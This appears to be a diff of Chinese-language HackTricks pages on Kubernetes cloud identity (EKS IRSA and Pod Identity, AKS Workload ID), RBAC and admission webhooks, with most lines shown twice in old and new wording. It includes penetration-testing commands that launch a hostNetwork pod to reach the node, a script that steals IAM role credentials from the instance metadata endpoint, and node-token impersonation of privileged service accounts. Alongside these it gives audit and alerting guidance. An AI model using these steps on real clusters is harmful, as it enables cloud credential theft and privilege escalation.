> 作为攻击者,如果你能枚举 K8s cluster,检查是否存在带有 annotation **service accounts**,以便 **escalate to AWS**。为此,只需使用个 IAM **privileged service accounts** 之一 **exec/create** 一个 **pod**窃取 token。
>
> 此外,如果你在一个 pod 内,检查是否存在诸如 **AWS_ROLE_ARN****AWS_WEB_IDENTITY_TOKEN** 的环境变量
> 此外,如果你在一个 pod 内,检查诸如 **AWS_ROLE_ARN****AWS_WEB_IDENTITY_TOKEN** 之类的 env variables
> [!CAUTION]
> 有时某个 role 的 **Turst Policy** 可能配置**不当**,它不会把 AssumeRole 访问权限授予预期的 service account,而是授予给**所有 service accounts**。因此,如果你能够在一个受控的 service account 上写入一个 annotation,就可以访问该 role。
> 有时某个 role 的 **Turst Policy** 可能 **配置错误**,它不会把 AssumeRole access 赋予预期的 service account,而是赋予 **所有 service accounts**。因此,如果你能够在受控的 service account 上写入 annotation就可以访问该 role。
>
> 请查看**以下页面以获取更多信息**
> 请查看 **following page for more information**
{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### EKS Pod Identity
EKS Pod Identity 是 AWS 托管的更新方式,用于将 IAM role 与 Kubernetes service account 关联,而不依赖每个 workload 使用 IRSA web identity token 去调用 STS。cluster 在节点上运行 EKS Pod Identity AgentEKS API 存储 pod identity associations,而选定 pod 中的 AWS SDK 通过 agent 暴露的 container credentials provider path 获取 credentials。
从 Kubernetes 的角度看,仍然有价值的证据是 service account 和 pod 之间的关系,但运行时信号与 IRSA 不同。不要只查 `AWS_WEB_IDENTITY_TOKEN_FILE`,而要在 pods 中查找 AWS container credential environment variables
```bash
kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE'
kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn'
kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity'
```
从 AWS 枚举这些 associations,然后将它们映射回 Kubernetes namespaces 和 service accounts
```bash
aws eks list-pod-identity-associations --cluster-name <cluster>
aws eks describe-pod-identity-association \
--cluster-name <cluster> \
--association-id <association-id>
```
在关联的 pod 中,主要的 runtime 指示器是由 EKS 注入的 container credentials provider variables
```bash
env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)='
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null
aws sts get-caller-identity
```
本地 credential endpoint 通常是 `http://169.254.170.23/v1/credentials`authorization token 是为 `pods.eks.amazonaws.com` audience 投影的 service account token。记住,AWS SDK credential-provider 的顺序仍然适用:如果 static environment credentials 或 shared credential files 在链路中更早配置,pod 可能会使用那些而不是 Pod Identity association。
Pod Identity roles 通常信任 `pods.eks.amazonaws.com` service principal,用于 `sts:AssumeRole``sts:TagSession`。检查 trust-policy 中关于 request tags 的条件,例如 `kubernetes-namespace``kubernetes-service-account` 和 cluster tags,因为过宽的条件会让一个可复用 role 对太多 service accounts 可用。Pod Identity 还会把 session tags 添加到 temporary credentials 中,这些 tags 可以驱动 ABAC policies,例如基于 `${aws:PrincipalTag/kubernetes-namespace}``${aws:PrincipalTag/kubernetes-service-account}` 的 resource access。
对于 cross-account accessPod Identity association 可以使用一个同账户 role,再 chain 到另一个 account 中的 target role。在这种情况下,要同时检查两层:EKS association role 和 target role trust/policy。Pod Identity session tags 会在 role chain 中保持 transitive,因此它们是证明哪个 cluster namespace 和 service account 访问了 remote account 的有用证据。
> [!WARNING]
> 如果你可以创建或修改使用带有 EKS Pod Identity association 的 service account 的 pods,测试该 pod 是否会获得有用的 AWS permissions。如果你是在防御,针对新的 pod identity associations、意外的 service account 使用,以及来自本应只供特定 workloads 使用的 roles 的 AWS API calls 进行告警。
### EKS governance guardrails
从 AWS 侧审查 EKS 时,记住 IAM 和 AWS Organizations guardrails 即使在 principal 看起来有很宽的 EKS permissions 时,也可能拒绝不安全的 cluster configuration。最新的 EKS condition keys 覆盖了 cluster settings,例如 public 或 private endpoint access、Kubernetes version、secrets-encryption KMS keys、deletion protection、control-plane scaling tier,以及 zonal shift configuration。这些 keys 可以在 IAM policies 或 Service Control Policies 中使用,以强制执行 account-wide cluster baselines。
这对 attack impact 和 triage 都很重要。如果一个 principal 可以调用 `eks:UpdateClusterConfig`,但 SCP 通过 `eks:endpointPublicAccess` 阻止启用 public endpoint,那么应报告这次尝试的 risky action 以及阻止它的 guardrail,而不是声称 public API exposure。对于 defenders,要对被拒绝的 EKS configuration changes 以及成功的 changes 都进行告警,因为被拒绝的尝试可能暴露已被 compromise 的 automation、过时的 admin roles,或是在 pivot 到一个防护较弱的 account 之前进行的 reconnaissance。
Useful references:
- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html)
- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html)
### Find Pods a SAs with IAM Roles in the Cluster
这是一个脚本,用于轻松**遍历所有 pods 和 sas** 定义,**查找**那个 **annotation**
这是一个脚本,用于轻松**遍历所有 pods 和 sas** 定义,**查找**那个 **annotation**
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -255,26 +298,26 @@ done | grep -B 1 "amazonaws.com"
```
### Node IAM Role to cluster-admin
一节讲的是如何使用 pods 取 IAM Roles,但要注意,**K8s cluster 的 Node** 会是中的一个 **instance**。这意味着 Node 很大概率会 **有一个你可以取的 IAM role**_注意,通常一个 K8s cluster 的所有 nodes 都会有相同的 IAM role,所以逐个 node 去检查可能不值得_)。
一节讲的是如何用 pods 取 IAM Roles,但要注意,**K8s cluster 的 Node** 会是 **cloud 中的一个 instance**。这意味着 Node 很有可能 **有一个你可以取的 IAM role**_注意,通常一个 K8s cluster 的所有 nodes 都会有相同的 IAM role,所以逐个检查每个 node 可能不值得_)。
要访问 node metadata endpoint,你需要:
- 在一个 pod 里,并且 metadata endpoint 的配置至少允许 2 tcp hops。这是最常见的错误配置,因为通常 cluster 里的不同 pods 需要访问 metadata endpoint 才不会出问题,而且很多公司会直接决定允许 cluster 所有 pods 访问 metadata endpoint。
要访问 node metadata endpoint,你需要:
- 在一个 pod 里,并且 metadata endpoint 的配置至少 2 tcp hops。这是最常见的错误配置,因为通常 cluster 不同 pods 需要访问 metadata endpoint 才不会出问题,很多公司干脆直接允许 cluster 所有 pods 访问 metadata endpoint。
- 在一个启用了 `hostNetwork` 的 pod 里。
- 逃逸到 node 并直接访问 metadata endpoint。
- escape 到 node 并直接访问 metadata endpoint。
(注意,metadata endpoint 一如既往地位于 169.254.169.254)。
(注意,metadata endpoint 一直都是 169.254.169.254)。
在较新的 EKS 环境中,在假设 pods 可以到达 node instance profile 之前,先确认 node 和 cluster mode。Amazon Linux 2023 EKS optimized AMIs 默认 IMDS hop limit 设为 1,而 EKS Auto Mode 默认启用 `disablePodIMDS`,所以普通 pods 不应获得 node-role credentials,除非 operator 改过这些设置,或者 pod 还有其他 node-level 路径,`hostNetwork` 或 node compromise。推荐做法是阻止 pod 访问 node IMDS,并为 workload AWS permissions 使用 IRSA 或 EKS Pod Identity
在较新的 EKS 环境中,在假设 pods 可以到达 node instance profile 之前,先确认 node 和 cluster mode。Amazon Linux 2023 EKS optimized AMIs 默认 IMDS hop limit 设为 1,而 EKS Auto Mode 默认启用 `disablePodIMDS`,所以普通 pods 不应该拿到 node-role credentials,除非 operator 改过这些设置,或者 pod 还有其他 node-level 路径,`hostNetwork` 或 node compromise。推荐做法是阻止 pod 访问 node IMDS,并使用 IRSA 或 EKS Pod Identity 为 workload 提供 AWS permissions。
**escape to the node**,你可以使用以下命令运行一个启用了 `hostNetwork` 的 pod
**escape to the node**,你可以用下面的命令运行一个启用了 `hostNetwork` 的 pod
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### 盗取 IAM Role Token
之前我们已经讨论过如何将 **IAM Roles** 附加到 Pods,甚至如何 **escape to the Node** 来盗取该实例所附加的 **IAM Role**
Previously we have discussed how to **attach IAM Roles to Pods** or even how to **escape to the Node to steal the IAM Role** the instance has attached to it.
你可以使用以下脚本来 **steal** 你新辛苦获取的 **IAM role credentials**
You can use the following script to **steal** your new hard worked **IAM role credentials**:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
@@ -287,11 +330,11 @@ fi
```
### Privesc to cluster-admin
总之:如果可以从某个 pod 访问 **EKS Node IAM role**,就有可能 **compromise 整个 kubernetes cluster**
总之:如果能从一个 pod **access EKS Node IAM role**,就有可能 **compromise 整个 kubernetes cluster**
更多信息请看 [this post](https://blog.calif.io/p/privilege-escalation-in-eks)。简而言之,默认分配给 EKS nodes 的 IAM EKS role 在 cluster 内会被赋予 `system:node` role。这个 role 很有意思,尽管它受到 kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) 的限制。
更多信息请看 [this post](https://blog.calif.io/p/privilege-escalation-in-eks)。简单来说,默认分配给 EKS nodes 的 IAM EKS role 在 cluster 内会被赋予 `system:node` 角色。这个角色非常有意思,不过它会受到 kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) 的限制。
不过,node 总是可以为运行在该 node 内 pods 中的 service accounts **generate tokens**所以,如果 node 正在运行一个带有 privileged service account 的 podnode 就可以为那个 service account generate 一个 token,并像下面这样用它来 impersonate 该 service account
然而,node 总是可以为运行在该 node 内 pods 中的 service accounts **generate tokens**因此,如果 node 正在运行一个使用特权 service account 的 podnode 就可以为 service account 生成一个 token,并像这样将其 impersonate
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
@@ -300,13 +343,13 @@ kubectl --context=node1 create token -n ns1 sa-priv \
```
## Azure / AKS
在 AKS 中,评估期间将三条 identity 路径分开:
在 AKS 中,评估时要将三条 identity path 分开:
- **Azure to Kubernetes**: Azure principals 可以通过 Azure Resource Manager 获取 user 或 admin kubeconfigs,前提是其 Azure RBAC role 允许。来自 `az aks get-credentials --admin` 的 local admin kubeconfigs 是基于 certificate 的 credentials,除非 local accounts 被禁用,否则它们可以绕过正常的 Microsoft Entra user/group governance。
- **Microsoft Entra to Kubernetes**: Entra-integrated clusters 通过 `kubelogin`/exec kubeconfigs 对 users、groups 或 service principals 进行 authentication。最终的 Kubernetes action 可以由 native Kubernetes RBAC Azure RBAC for Kubernetes Authorization 授权。
- **Kubernetes to Azure**: Pods 通常应使用 Microsoft Entra Workload ID,它通过 AKS OIDC issuer 和 federated identity credentials,将 projected Kubernetes service account tokens 与 Entra 进行 exchange
- **Azure Kubernetes**:如果 Azure RBAC role 允许,Azure principals 可以通过 Azure Resource Manager 获取 user 或 admin kubeconfigs。来自 `az aks get-credentials --admin` 的 local admin kubeconfigs 是基于 certificate 的 credentials,除非禁用了 local accounts,否则可以绕过正常的 Microsoft Entra user/group governance。
- **Microsoft Entra Kubernetes**Entra-integrated clusters 通过 `kubelogin`/exec kubeconfigs 对 users、groups 或 service principals 进行 authentication。最终的 Kubernetes action 可以由 native Kubernetes RBAC 授权,也可以由 Azure RBAC for Kubernetes Authorization 授权。
- **Kubernetes Azure**Pods 通常应使用 Microsoft Entra Workload ID,它通过 AKS OIDC issuer 和 federated identity credentials,将 projected Kubernetes service account tokens 与 Entra 交换
来自 Azure 的有用 AKS identity checks:
来自 Azure 的有用 AKS identity checks
```bash
az aks show -g <resource-group> -n <cluster> \
--query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \
@@ -332,21 +375,43 @@ metadata:
labels:
azure.workload.identity/use: "true"
```
如果集群仍在使用已弃用的 Microsoft Entra pod-managed identity model,请查找旧的 CRDs 和 NMI/MIC components,而不是 Workload ID annotations
较新的 AKS 环境可能会使用 **AKS Identity Bindings**preview)来在多个集群或 service accounts 之间扩展 Workload ID,而无需为每个 subject 创建一个 federated identity credential。在这种模型下,user-assigned managed identity 会绑定到 AKS clusterworkloads 通过 `azure.workload.identity/use-identity-binding: "true"` 进行 opt in,而 Kubernetes RBAC 则在以 managed identity client IDs 命名的 `cid.wi.aks.azure.com` resources 上授予 `use-managed-identity`。这里一个范围很大的 `ClusterRoleBinding` 可能会把同一个 Azure identity 暴露给比预期更多的 namespaces,即使直接的 federated identity credential subjects 看起来很窄。
```bash
az aks identity-binding list -g <resource-group> --cluster-name <cluster> -o yaml
kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12
```
如果 cluster 仍然使用已弃用的 Microsoft Entra pod-managed identity model,则应查找旧的 CRDs 和 NMI/MIC 组件,而不是 Workload ID annotations
```bash
kubectl get crd | grep -i azureidentity
kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'
```
AKS 节点是 Azure VM scale set 实例,所以节点或主机访问可能会暴露位于 `169.254.169.254` Azure Instance Metadata Service。不要假设普通 pod 应该收到节点 managed identity 凭据:先验证 workload identity 设置、legacy pod identity/NMI 行为、hostNetwork 使用、网络控制以及节点访问情况。如果某个节点 identity 有广泛的 Azure 权限,即使应用的 Workload ID 配置正确,节点 compromise 也可能成为一个 Azure pivot。
AKS 节点是 Azure VM scale set 实例,所以节点或主机层的访问可能会暴露 Azure Instance Metadata Service,位于 `169.254.169.254`。不要假设普通 pod 应该收到 node managed identity 凭据:先验证 Workload ID 设置、legacy pod identity/NMI 行为、hostNetwork 使用情况、网络控制以及节点访问权限。如果某个 node identity 有广泛的 Azure 权限,即使 application Workload ID 已正确限缩,节点 compromise 也可能成 Azure pivot。
## References
AKS Automatic 和 Node Auto-Provisioning (NAP) 会改变你应该收集的节点侧证据。AKS Automatic 预先配置了多个 production 默认项,包括 Workload ID/OIDC 支持、managed node pools、node resource group lockdown,以及 managed upgrade 行为。NAP 是托管的基于 Karpenter 的 provisioning 模式,并使用 Kubernetes resources,例如 `NodePool``AKSNodeClass``NodeClaim`,来决定为 pending workloads 创建哪些节点。检查谁可以修改这些 resources、高影响的 scheduling controls、privileged pods,以及广泛的 tolerations;同时还要确认 node resource group lockdown 是否阻止了直接编辑 VMSS/load balancer,并强制把变更通过 Kubernetes 或 AKS APIs 来进行。
```bash
az aks show -g <resource-group> -n <cluster> \
--query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \
-o yaml
kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter'
kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null
```
## 参考资料
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html)
- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity)
- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings)
- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization)
- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic)
- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning)
- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown)
{{#include ../../banners/hacktricks-training.md}}
@@ -4,37 +4,43 @@
## Role-Based Access Control (RBAC)
Kubernetes 有一个名为 **Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) 的**authorization**模块,帮助为 API server 设置使用权限。
Kubernetes has an **authorization module named Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) that helps to set utilization permissions to the API server.
RBAC permission model **三个独立部分** 组成:
RBACs permission model is built from **three individual parts**:
1. **Role\ClusterRole ** 实际的 permission。它包含表示一组 permissions _**rules**_。每条 rule 都包含 [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) 和 [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb)。verb 是将应用 resource 的 action。
1. **Role\ClusterRole ­** 实际的权限。它包含表示一组权限_**rules**_。每条 rule 都包含 [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) 和 [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb)。verb 是将应用 resource 的 action。
2. **Subject (User, Group or ServiceAccount) ** 将接收 permissions 的 object。
3. **RoleBinding\ClusterRoleBinding ** Role\ClusterRole 和 subject 之间的连接
3. **RoleBinding\ClusterRoleBinding ** Role\ClusterRole 和 subject 之间的 connection
![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png)
“**Roles**” 和 “**ClusterRoles**” 的区别只在于 role 会应用哪里 —— “**Role**” 只会授予对**一个****特定** **namespace**访问权限,而 “**ClusterRole**” 可以在 cluster 中的**所有 namespaces** 中使用。此外,**ClusterRoles** 可以授予对以下内容的访问权限
“**Roles**” 和 “**ClusterRoles**” 的区别只在于 role 会应用哪里 —— “**Role**” 只会授予对 **one****specific** **namespace** access,而 “**ClusterRole**” 可以在 cluster **all namespaces** 中使用。此外,**ClusterRoles** 可以授予对以下内容的 access
- **cluster-scoped** resources(如 nodes)。
- **non-resource** endpoints(如 /healthz)。
- namespaced resources(如 Pods),**跨所有 namespaces**。
- **cluster-scoped** resources如 nodes)。
- **non-resource** endpoints如 /healthz)。
- namespaced resources如 Pods),**across all namespaces**。
**Kubernetes** 1.6 开始,**RBAC** policies 默认**已启用**。但要启用 RBAC,你可以使用类似下面的方式:
**Kubernetes** 1.6 开始,**RBAC** policies 默认**enabled**。但要启用 RBAC,你可以使用类似这样的方式:
```
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
```
现代集群也可以使用 `--authorization-config` 配置 API server authorizer 链,该参数指向一个 `AuthorizationConfiguration` 文件。这个文件可以定义有序的 authorizers、多个 webhook authorizers、webhook 超时、`failurePolicy`、缓存设置,以及决定哪些请求会发送到 webhook 的 CEL `matchConditions`。在安全审查中,如果存在 `--authorization-config`,不要只看 `--authorization-mode`:读取引用的文件,并检查 webhook 是否可以在 `NoOpinion` 时 fail open`matchConditions` 是否会跳过敏感资源,以及所有 API server 副本是否使用等价的 authorization 配置。
在审查匿名 API 暴露时,也要检查 authentication 配置。`--authentication-config` 可以将 anonymous authenticator 限定到特定路径,例如 `/livez``/readyz``/healthz`。匿名 health endpoint 访问并不等同于对 Kubernetes 资源的匿名访问;危险情况是存在某条 RBAC 或 authorizer 路径,让 `system:anonymous``system:unauthenticated` 读取或修改真实的 API 对象。
最后,把 `system:masters` 中的成员资格视为 cluster-admin 等价。属于这个组的用户或证书拥有不受限制的 API 访问权限,会绕过正常的 RBAC 和 webhook authorization 限制,因此,添加这个组的身份映射可能比普通的 RoleBinding 输出更重要。
## Templates
**Role****ClusterRole**模板中,你需要指定 **role 的名称**、**namespace**(在 roles 中),然后是 role 的 **apiGroups**、**resources** 和 **verbs**
**Role****ClusterRole** template 中,你需要指定 **role 的名称**、**namespace**(在 roles 中),然后是 role 的 **apiGroups**、**resources** 和 **verbs**
- **apiGroups** 是一个数组,包含此规则适用的不同 **API namespaces**。例如,Pod 定义使用 apiVersion: v1。_它可以有诸如 rbac.authorization.k8s.io 或 \[\*] 这样的值_
- **resources** 是一个数组,用于定义此规则适用于**哪些资源**。你可以通过以下命令找到所有资源:`kubectl api-resources --namespaced=true`
- **verbs** 是一个包含**允许的动词**的数组。Kubernetes 中的 verb 定义了你需要对资源执行的**操作类型**。例如,list verb 用于集合,而 "get" 用于单个资源。
- **apiGroups** 是一个数组,包含此规则适用的不同 **API namespaces**。例如,Pod 定义使用 apiVersion: v1。_它可以有诸如 rbac.authorization.k8s.io 或 \[\*]_ 这样的值。_
- **resources** 是一个数组,定义此规则适用于**哪些资源**。你可以使用以下命令查看所有资源:`kubectl api-resources --namespaced=true`
- **verbs** 是一个数组,包含**允许的动词**。Kubernetes 中的 verb 定义了你需要对资源执行的**操作类型**。例如,list verb 用于资源集合,而 "get" 用于单个资源。
### Rules Verbs
(_此信息取自_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb))
(_This info was taken from_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb))
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -44,17 +50,19 @@ kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
Kubernetes 有时会使用专门的 verbs 检查额外权限。例如:
Kubernetes 有时会使用专门的 verbs 通过额外权限进行 authorization。例如:
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
- `use` verb on `podsecuritypolicies` resources in the `policy` API group.
- `policy` API group 中 `podsecuritypolicies` resources 上的 `use` verb。
- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
- `bind` and `escalate` verbs on `roles` and `clusterroles` resources in the `rbac.authorization.k8s.io` API group.
- `rbac.authorization.k8s.io` API group 中 `roles` `clusterroles` resources 上的 `bind``escalate` verbs。
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
- `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group.
- core API group 中 `users``groups` `serviceaccounts` 上的 `impersonate` verb,以及 `authentication.k8s.io` API group 中的 `userextras`
Kubernetes v1.36 也将 **constrained impersonation** 作为 beta feature 引入。集群不再只授予传统的全有或全无 `impersonate` verb,而是可以授予特定模式的 verbs,例如 `impersonate:user-info``impersonate:serviceaccount``impersonate:arbitrary-node``impersonate:associated-node`,以及目标资源上的特定操作 verbs,例如 `impersonate-on:user-info:list`。审查时要同时看两部分:subject 可以 impersonate 的身份,以及 impersonating 时它能够执行的操作。传统的 `impersonate` rules 仍然可能允许更广泛的访问,因此,除非 API server 版本和 access-review 证据确认,否则不要假设看起来受限的 verbs 一定会被强制执行。
> [!WARNING]
> 你可以通过执行 `kubectl api-resources --sort-by name -o wide` 找到**每个资源支持的所有 verbs**
> 你可以通过执行 `kubectl api-resources --sort-by name -o wide` 找到**每个 resource 支持的所有 verbs**
### Examples
```yaml:Role
@@ -86,7 +94,7 @@ kubectl get pods --all-namespaces
```
### **RoleBinding 和 ClusterRoleBinding**
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) 一个 **role binding 将 role 中定义的权限授予一个用户或一组用户**。它包含一个 subjects 列表(users、groups 或 service accounts),以及一个指向被授予的 role 的引用。**RoleBinding** 在特定的 **namespace** 内授予权限,而 **ClusterRoleBinding** 则在 **cluster-wide** 范围内授予该访问权限。
[**来自 docs**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding 将 role 中定义的权限授予一个 user 或一组 users**。它保存一个 subjects 列表(users、groups 或 service accounts),以及被授予的 role 的引用。**RoleBinding** 在特定的 **namespace** 内授予权限,而 **ClusterRoleBinding** 则在 **cluster-wide** 范围内授予该访问权限。
```yaml:RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
# This role binding allows "jane" to read pods in the "default" namespace.
@@ -122,13 +130,13 @@ kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io
```
**Permissions are additive** 所以如果你有一个 clusterRole,包含 “list”“delete” secrets,你可以用一个包含 “get” 的 Role 来加它。要注意,并始终测试你的 roles 和 permissions,并且**明确指定哪些是 ALLOWED,因为默认情况下所有内容都是 DENIED。**
**Permissions additive**所以如果你有一个具有“list”“delete” secrets 的 clusterRole,你可以通过一个具有“get”的 Role 来加它。因此要注意,并始终测试你的 roles 和 permissions,并且 **明确 specify 什么是 ALLOWED,因为默认情况下 everything is DENIED。**
### Details worth checking
### 值得检查的细节
RBAC 使用的是 API URLs 中出现的 resource names,而不是 YAML `kind`。Pod 是 `pods`Deployment 是 `deployments`subresources 用斜杠写出,例如 `pods/log``pods/exec``pods/portforward``pods/ephemeralcontainers``deployments/scale``serviceaccounts/token``nodes/proxy``services/proxy`。对 `pods`权限不会自动授予对 `pods/exec``pods/log` 的访问权限。
RBAC 使用资源名称时,采用的是它们在 API URLs 中出现的形式,而不是 YAML `kind`。Pod 是 `pods`Deployment 是 `deployments`subresources 用斜杠表示,例如 `pods/log``pods/exec``pods/portforward``pods/ephemeralcontainers``deployments/scale``serviceaccounts/token``nodes/proxy``services/proxy`。对 `pods` permission 不会自动授予对 `pods/exec``pods/log` 的访问权限。
`resourceNames` can restrict some requests to specific object names:
`resourceNames` 可以将某些 requests 限制为特定的 object names
```yaml
rules:
- apiGroups: [""]
@@ -140,13 +148,14 @@ verbs: ["get", "update"]
```bash
kubectl get configmaps -n default --field-selector=metadata.name=app-config
```
对高影响检查使用精确的 access reviews
使用 exact access reviews 进行高影响检查
```bash
kubectl auth can-i create pods/exec -n default
kubectl auth can-i create serviceaccounts/token -n default
kubectl auth can-i impersonate users
kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io
kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io
kubectl auth can-i impersonate-on:user-info:list pods -n default
```
## **枚举 RBAC**
```bash
@@ -170,7 +179,7 @@ kubectl describe roles
kubectl get rolebindings
kubectl describe rolebindings
```
### 滥用 Role/ClusterRoles 进行 Privilege Escalation
### 滥用 Role/ClusterRoles 进行权限提升
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -2,28 +2,28 @@
{{#include ../../banners/hacktricks-training.md}}
**该页面的原作者是** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**本页的原作者是** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## 定义
`ValidatingWebhookConfiguration` 是一个 Kubernetes resource,用于注册一个或多个 validating admission webhooks。这些 webhooks 在身份验证和授权之后、对象持久化之前,接收来自 API server AdmissionReview requests。
`ValidatingWebhookConfiguration` 是一个 Kubernetes resource,用于注册一个或多个 validating admission webhooks。这些 webhooks 会在 authentication 和 authorization 之后、object 被持久化之前, API server 接收 AdmissionReview requests。
Validating webhooks 可以拒绝请求。使用 `MutatingWebhookConfiguration` 配置的 mutating webhooks 可以先修改对象。安全审查通常应同时检查这两类 resources,因为恶意或弱的 mutating webhook 可能会重写 workloads,而 validating webhook 或 policy engine 可以阻止或允许它们。
Validating webhooks 可以拒绝一个 request。使用 `MutatingWebhookConfiguration` 配置的 mutating webhooks 可以先修改 object。Security reviews 通常应同时检查这两类 resource,因为恶意或弱的 mutating webhook 可能会重写 workloads,而 validating webhook 或 policy engine 可以阻止或允许它们。
## 目的
`ValidatingWebhookConfiguration` 的目的是定义 API server 何时应调用 validating webhook,以及如何处理 webhook 结果。重要的安全问题不是“是否安装了某个 policy?”,还包括:
`ValidatingWebhookConfiguration` 的目的是定义 API server 何时应调用 validating webhook,以及它应如何处理 webhook result。重要的 security 问题不是“是否安装了 policy?”,还包括:
- 它匹配哪些 API groups、resources、operations 和 scopes
- 哪些 namespaces 或 objects 会被 selectors 排除?
- `matchConditions` 是否跳过了任何 request classes
- `failurePolicy` 是使用 `Ignore` 进行 fail open,还是使用 `Fail` 进行 fail closed
- webhook service 是否可达、是否配置的 `caBundle` 信任,以及是否由高权限的 service account 运行?
